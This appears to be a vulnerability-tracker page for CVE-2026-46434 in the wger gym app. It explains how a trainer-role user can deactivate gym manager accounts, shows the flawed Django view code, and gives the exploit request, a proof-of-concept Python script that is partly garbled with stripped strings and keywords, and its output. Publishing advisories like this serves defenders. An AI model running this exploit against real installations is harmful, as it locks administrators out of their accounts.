Live › vulnerability › CVE-2026-46434
Go to dashboardA user with only the gym trainer role can deactivate any account in the same gym, including gym manager and general gym manager accounts. The attacker can lock gym administrators out until a superuser or general gym manager reactivates them.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-26 15:48 UTC, 0h before NVD. All times on this page are UTC.
Installations running wger with the gym feature, where gym_trainer users share a gym with gym_manager or general_gym_manager users. The trainer must be a real account in the same gym, so the exposure depends on how many people hold the trainer role. Single-user installs and gyms without trainer accounts are not exposed.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| wger | pypi | <= 2.1 | – |
pip show wger and compare it to the affected range (<= 2.1).wger/core/views/user.py for the UserDeactivateView and UserActivateView dispatch methods and check whether a privilege check exists.2.1. The fixed version is unknown from the sources.dispatch() in both UserDeactivateView and UserActivateView so trainers cannot target managers or other trainers, as the advisory's proposed patch shows.get_permission_list() in wger/gym/helpers.py always lets managers assign the trainer role.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.
UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:
class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
def has_permission(self):
for permission in self.get_permission_required():
if self.request.user.has_perm(permission):
return True # <-- ANY one permission is enough
return False
The dispatch() method only verifies same-gym membership:
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
if (
request.user.has_perm('gym.manage_gym')
or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
return HttpResponseForbidden()
# NO check: is the target user more privileged than the requester?
return super().dispatch(request, *args, **kwargs)
There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).
An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.
gym_manager role (victim) and one with gym_trainer role (attacker)# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate
The manager's account is immediately set to is_active = False. The manager can no longer log in.
#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import re
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"
BANNER = """
=====================================================================
PoC: Trainer -> Manager Privilege Escalation
Severity: HIGH
CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return
():
{: , : }
os, django
os.environ[] =
sys.path.insert(, )
django.setup()
django.contrib.auth.models User, Group
wger.gym.models Gym
name [, , , ]:
Group.objects.get_or_create(name=name)
gym, _ = Gym.objects.get_or_create(name=)
()
manager, created = User.objects.get_or_create(
username=MANAGER_USER,
defaults={: }
)
created:
manager.set_password(MANAGER_PASS)
manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name=))
manager.is_active =
manager.save()
()
()
()
trainer, created = User.objects.get_or_create(
username=TRAINER_USER,
defaults={: }
)
created:
trainer.set_password(TRAINER_PASS)
trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name=))
()
()
manager.refresh_from_db()
()
manager.is_active,
()
()
()
django.test Client
c = Client()
c.force_login(trainer)
resp = c.get(, follow=)
()
()
()
()
()
()
manager.refresh_from_db()
()
manager.is_active:
()
manager.is_active =
manager.save()
()
:
()
=====================================================================
PoC: Trainer -> Manager Privilege Escalation
Severity: HIGH
CWE-269: Improper Privilege Management
=====================================================================
[*] Gym: PoC Test Gym (id=2)
[*] Manager (victim): gym_manager_poc (id=4)
Groups: ['gym_manager']
is_active: True
[*] Trainer (attacker): evil_trainer_poc (id=5)
Groups: ['gym_trainer']
[*] Manager is_active BEFORE attack: True
=================================================================
ATTACK: Trainer deactivating gym manager account
=================================================================
Trainer login: HTTP 200
GET http://localhost/en/user/4/deactivate
(Logged in as: evil_trainer_poc - gym_trainer only)
Response: HTTP 200
=================================================================
VERIFICATION
=================================================================
Manager is_active AFTER attack: False
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
|
This page as .md · .json · in your agent: get_signal("CVE-2026-46434")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.